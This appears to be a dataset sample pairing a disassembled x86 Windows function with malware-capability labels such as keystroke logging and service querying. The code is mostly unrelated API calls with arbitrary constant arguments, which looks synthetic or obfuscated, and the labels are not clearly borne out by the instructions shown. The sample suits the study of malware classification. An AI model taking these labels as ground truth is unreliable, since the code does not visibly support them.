Function at 0x10001211
Capabilities:
Log keystrokes via polling
Query service status
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x248
xor eax, eax
lea ecx, [esp + 0xe0]
lea edx, [esp + 0xf8]
mov dword [esp + 0xc4], ecx
mov dword [esp + 0xc0], edx
mov dword [esp + 0xbc], eax
jmp 0x100013e3
xor eax, eax
mov ecx, 0x18
mov edx, dword [esp + 0xc4]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x18
mov dword [esp + 0xb8], eax
mov dword [esp + 0xb4], ecx
call fcn.10170210
mov eax, esp
lea ecx, [esp + 0xe0]
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call eax
sub esp, 4
mov dword [esp + 0xdc], 0x2e56d2
mov eax, esp
lea ecx, [esp + 0xdc]
mov dword [eax + 0x10], ecx
mov dword [eax + 0xc], 0xab6
mov dword [eax + 8], 0xd0d98c
mov dword [eax + 4], 0x920
mov dword [eax], 0x8e547c
mov eax, dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call eax
sub esp, 0x14
mov dword [esp + 0xb0], eax
jmp 0x10001502
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [esp + 0xac]
mov ecx, esp
mov dword [ecx + 8], 0x655
mov dword [ecx + 4], 0x655
mov dword [ecx], 0x598ed3
mov ecx, dword [sym.imp.GDI32.dll_SetTextJustification]
mov dword [esp + 0xa8], eax
call ecx
sub esp, 0xc
mov ecx, dword [esp + 0xa8]
add ecx, 1
mov edx, esp
mov dword [edx + 4], 0xa9144
mov dword [edx], 0xf31051
mov edx, dword [sym.imp.GDI32.dll_SelectClipRgn]
mov dword [esp + 0xa4], eax
mov dword [esp + 0xa0], ecx
call edx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x354026
mov ecx, dword [sym.imp.USER32.dll_SetCursor]
mov dword [esp + 0x9c], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 0x28], 0x457
mov dword [ecx + 0x24], 0xf84
mov dword [ecx + 0x20], 0xf84
mov dword [ecx + 0x1c], 0xdb7
mov dword [ecx + 0x18], 0xcf1
mov dword [ecx + 0x14], 0xb8e6dd
mov dword [ecx + 0x10], 0xdb7
mov dword [ecx + 0xc], 0x54e
mov dword [ecx + 8], 0xcf1
mov dword [ecx + 4], 0xcf1
mov dword [ecx], 0xb8e6dd
mov ecx, dword [sym.imp.GDI32.dll_StretchBlt]
mov dword [esp + 0x98], eax
call ecx
sub esp, 0x2c
mov ecx, dword [esp + 0xa0]
cmp ecx, 0xa
mov dword [esp + 0x94], eax
mov dword [esp + 0xac], ecx
je 0x1000162b
jmp 0x100012df
mov eax, dword [esp + 0xbc]
mov ecx, esp
mov dword [ecx], 0xd9526d
mov ecx, dword [sym.imp.USER32.dll_IsWindow]
mov dword [esp + 0x90], eax
call ecx
sub esp, 4
mov ecx, esp
lea edx, [esp + 0x238]
mov dword [ecx + 0xc], edx
mov dword [ecx + 8], 0x855
mov dword [ecx + 4], 0xae8
mov dword [ecx], 0x31639e
mov ecx, dword [sym.imp.GDI32.dll_OffsetViewportOrgEx]
mov dword [esp + 0x8c], eax
call ecx
sub esp, 0x10
mov ecx, dword [sym.imp.USER32.dll_CreatePopupMenu]
mov dword [esp + 0x88], eax
call ecx
xor ecx, ecx
mov edx, 0x140
mov esi, dword [esp + 0xc0]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x140
mov dword [esp + 0x84], eax
mov dword [esp + 0x80], ecx
mov dword [esp + 0x7c], edx
call fcn.10170210
mov eax, esp
lea ecx, [esp + 0xf8]
mov dword [eax + 4], ecx
mov dword [eax], 0xf4573e
mov eax, dword [sym.imp.KERNEL32.dll_FindNextFileA]
call eax
sub esp, 8
mov ecx, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esp + 0x78], eax
call ecx
xor ecx, ecx
mov dword [esp + 0x74], eax
mov dword [esp + 0x70], ecx
jmp 0x100015a7
xor eax, eax
mov ecx, dword [sym.imp.USER32.dll_GetCursor]
mov dword [esp + 0x6c], eax
call ecx
xor ecx, ecx
mov edx, dword [esp + 0x90]
sub edx, 0xc
mov dword [esp + 0x68], eax
mov dword [esp + 0x64], ecx
mov dword [esp + 0x60], edx
je 0x1000152d
jmp 0x100014de
mov eax, dword [esp + 0x90]
sub eax, 0x1e
mov ecx, dword [esp + 0x64]
mov dword [esp + 0x5c], eax
mov dword [esp + 0xac], ecx
je 0x100015d7
jmp 0x100012df
mov eax, dword [esp + 0x58]
add eax, 1
cmp eax, 0x3b2
sete cl
mov dword [esp + 0x54], eax
mov byte [esp + 0x53], cl
mov al, byte [esp + 0x53]
test al, 1
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x70], ecx
jne 0x100014b4
jmp 0x100015a7
mov byte [esp + 0xcf], 5
mov dword [esp + 0xc8], 0x247
mov eax, esp
lea ecx, [esp + 0xc8]
mov dword [eax + 0x10], ecx
lea ecx, [esp + 0xcf]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], 0x247
mov dword [eax + 4], 0x8f8
mov dword [eax], 0x7b5091
mov eax, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
call eax
sub esp, 0x14
mov ecx, dword [sym.imp.ole32.dll_OleFlushClipboard]
mov dword [esp + 0x4c], eax
call ecx
mov ecx, esp
mov dword [ecx + 4], 0x918155
mov dword [ecx], 0x8f490a
mov ecx, dword [sym.imp.USER32.dll_ExcludeUpdateRgn]
mov dword [esp + 0x48], eax
call ecx
sub esp, 8
mov dword [esp + 0x44], eax
jmp 0x1000162b
mov eax, dword [esp + 0x70]
mov ecx, 0xaaaaaaab
mov dword [esp + 0x58], eax
mul ecx
shr edx, 3
imul eax, edx, 0xc
mov ecx, dword [esp + 0x58]
sub ecx, eax
or ecx, 8
sub ecx, 8
mov dword [esp + 0x40], ecx
je 0x10001248
jmp 0x10001502
mov eax, esp
lea ecx, [esp + 0xd0]
mov dword [eax], ecx
mov eax, dword [sym.imp.USER32.dll_GetCaretPos]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0xfa9d9d
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_VkKeyScanExA]
mov dword [esp + 0x3c], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x75d
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov word [esp + 0x3a], ax
call ecx
sub esp, 4
mov dword [esp + 0x34], eax
jmp 0x1000152d
mov eax, esp
mov dword [eax + 8], 0xf0b
mov dword [eax + 4], 0xf0b
mov dword [eax], 0x7dcc79
mov eax, dword [sym.imp.GDI32.dll_LineTo]
call eax
sub esp, 0xc
mov ecx, dword [esp + 0x90]
add ecx, 1
cmp ecx, 0xd3
mov dword [esp + 0x30], eax
mov dword [esp + 0xbc], ecx
je 0x100012d9
jmp 0x100013e3